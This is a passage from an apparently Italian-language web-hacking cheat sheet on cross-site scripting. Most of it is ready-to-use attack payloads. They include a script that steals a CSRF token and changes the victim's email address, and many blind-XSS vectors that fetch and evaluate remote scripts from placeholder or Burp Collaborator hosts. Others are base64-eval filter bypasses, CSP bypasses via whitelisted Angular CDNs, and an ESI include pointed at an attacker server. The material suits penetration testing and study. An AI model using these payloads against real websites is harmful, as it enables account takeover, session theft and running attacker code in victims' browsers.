Basta cercare su github ne ho trovati alcuni diversi:
È anche possibile utilizzare metasploit http_javascript_keylogger
Rubare i token CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Accesso al Contenuto Nascosto
Da questo articolo è possibile apprendere che anche se alcuni valori scompaiono da JS, è comunque possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Elenco Brute-Force
XSS Sfruttando altre vulnerabilità
XSS in Markdown
È possibile iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:
Hai ottenuto XSS su un sito che utilizza la cache? Prova ad aggiornarlo a SSRF tramite l'Injection di Edge Side Include con questo payload:
<esi:include src="http://yoursite.com/capture" />
Usalo per aggirare le restrizioni dei cookie, i filtri XSS e molto altro!
Maggiori informazioni su questa tecnica qui: XSLT.
XSS in PDF creati dinamicamente
Se una pagina web crea un PDF utilizzando input controllati dall'utente, puoi provare a ingannare il bot che sta creando il PDF per eseguire codice JS arbitrario.
Quindi, se il bot creatore di PDF trova qualche tipo di tag HTML, li interpreterà, e puoi abusare di questo comportamento per causare un Server XSS.
AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi sulla velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite componenti AMP.
Il formato AMP per Email estende specifici componenti AMP alle email, consentendo ai destinatari di interagire direttamente con i contenuti all'interno delle loro email.
Se sei interessato a una carriera nel campo dell'hacking e vuoi hackerare l'inviolabile - stiamo assumendo! (richiesta competenza fluente in polacco, scritta e parlata).